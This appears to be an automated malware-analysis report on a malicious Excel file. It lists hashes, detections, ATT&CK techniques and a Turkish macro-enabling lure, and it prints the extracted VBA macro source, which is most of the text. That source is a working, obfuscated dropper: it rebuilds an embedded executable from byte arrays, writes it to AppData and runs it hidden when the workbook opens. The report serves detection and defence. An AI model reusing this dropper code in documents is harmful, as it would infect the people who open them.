Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 77cf87134a04f759…

MALICIOUS

Office (OLE)

62.5 KB Created: 2018-04-25 21:22:21 Authoring application: Microsoft Excel First seen: 2018-09-04
MD5: 0801041516c5df0a2d46d0fb044ca988 SHA-1: 293f7bc0e81b1962b10546be65f00a82de9d6a1f SHA-256: 77cf87134a04f759be3543708f0664b80a05bb8315acb19d39aaa519d1da8e92
188 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an Excel document containing VBA macros, specifically a Workbook_Open macro that executes a Shell command. The macro attempts to download and execute a file named 'kgvvs.exe' from the user's AppData directory. The document body displays a fake error message in Turkish, prompting the user to enable macros, which is a common social engineering tactic.

Heuristics 5

  • ClamAV: Xls.Malware.Valyria-10036514-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-10036514-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12505 bytes
SHA-256: eabc7906609b35bb972a45dc98ff62441d3cce8f1aefc4dc6937649b866c3964
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "GearHouses"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "GearHouse"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit
Sub worKBOOk_OPEN(): Call hvyyw: End Sub
Private Sub hvyyw()
Call mcatd
End Sub
Private Function mcatd() As Single
Call lzwgu
End Function
Private Sub lzwgu()
Call jvtsm
End Sub
Sub jvtsm()
Call omtln(VBA.Environ$("aPPDATA") & "\kgvvs.exe", ahqtt): Call Shell$(VBA.Environ$("aPPDATA") & "\kgvvs.exe", vbHide)
End Sub
Static Function ahqtt()
ahqtt = xizfb
Call wytvb(ahqtt, pchvc)
Call wytvb(ahqtt, kivdp)
Call wytvb(ahqtt, egghy)
Call wytvb(ahqtt, ssrai)
Call wytvb(ahqtt, fqrww)
Call wytvb(ahqtt, xtgwk)
Call wytvb(ahqtt, vrhpa)
Call wytvb(ahqtt, vewrt)
Call wytvb(ahqtt, wxkkf)
Call wytvb(ahqtt, rhglk)
Call wytvb(ahqtt, uexsf)
Call wytvb(ahqtt, htqeh)
Call wytvb(ahqtt, drwch)
Call wytvb(ahqtt, uytwn)
Call wytvb(ahqtt, btaqo)
Call wytvb(ahqtt, uatek)
Call wytvb(ahqtt, esnzi)
Call wytvb(ahqtt, rwmlq)
Call wytvb(ahqtt, jbocl)
Call wytvb(ahqtt, pkkzr)
Call wytvb(ahqtt, ugwac)
Call wytvb(ahqtt, krcnb)
Call wytvb(ahqtt, ampjn)
Call wytvb(ahqtt, sxqrc)
Call wytvb(ahqtt, lnqol)
Call wytvb(ahqtt, yvxum)
Call wytvb(ahqtt, soaed)
Call wytvb(ahqtt, xbfvb)
End Function
Private Function wytvb(ByRef dqfoz As Variant, ByRef wsymb As Variant): Static mrkzh As Long: Static yutoo As Long: yutoo = UBound(dqfoz) + 1: ReDim Preserve dqfoz(yutoo + UBound(wsymb)): For mrkzh = LBound(wsymb) To UBound(wsymb): dqfoz(yutoo + mrkzh) = wsymb(mrkzh): Next: End Function
Static Function omtln(ogppv, thbfa): Dim dkobr, bqwct: dkobr = FreeFile: Open ogppv For Binary As #dkobr: For bqwct = LBound(thbfa) To UBound(thbfa): Put #dkobr, , CByte(thbfa(bqwct)): Next: Close #dkobr: End Function
Static Function xizfb()
xizfb = Array(77, 90, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 64, 0, 0, 0, 80, 69, 0, 0, 76, 1 _
, 1, 0)
End Function
Static Function pchvc()
pchvc = Array(233, 2, 225, 90, 0, 0, 0, 0, 0, 0 _
, 0, 0, 224, 0, 14, 3, 11, 1, 0, 0 _
, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 16, 0, 0, 0, 16, 0, 0 _
, 0, 0, 0, 0, 0, 0, 64, 0, 0, 16 _
, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0 _
, 0, 0)
End Function
Static Function kivdp()
kivdp = Array(0, 32, 0, 0, 0, 2, 0, 0, 0, 0 _
, 0, 0, 2, 0, 0, 0, 0, 0, 16, 0 _
, 0, 16, 0, 0, 0, 0, 16, 0, 0, 16 _
, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0)
End Function
Static Function egghy()
egghy = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0)
End Function
Static Function ssrai()
ssrai = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 46, 116, 101, 120, 116, 0 _
, 0, 0, 0, 16, 0, 0, 0, 16, 0, 0 _
, 38, 5, 0, 0, 0, 2, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 32, 0, 0, 160, 0, 0, 0, 0, 0, 0 _
, 0, 0)
End Function
Static Function fqrww()
fqrww = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 _
, 0, 0)
End Function
Static Function xtgwk()
... (truncated)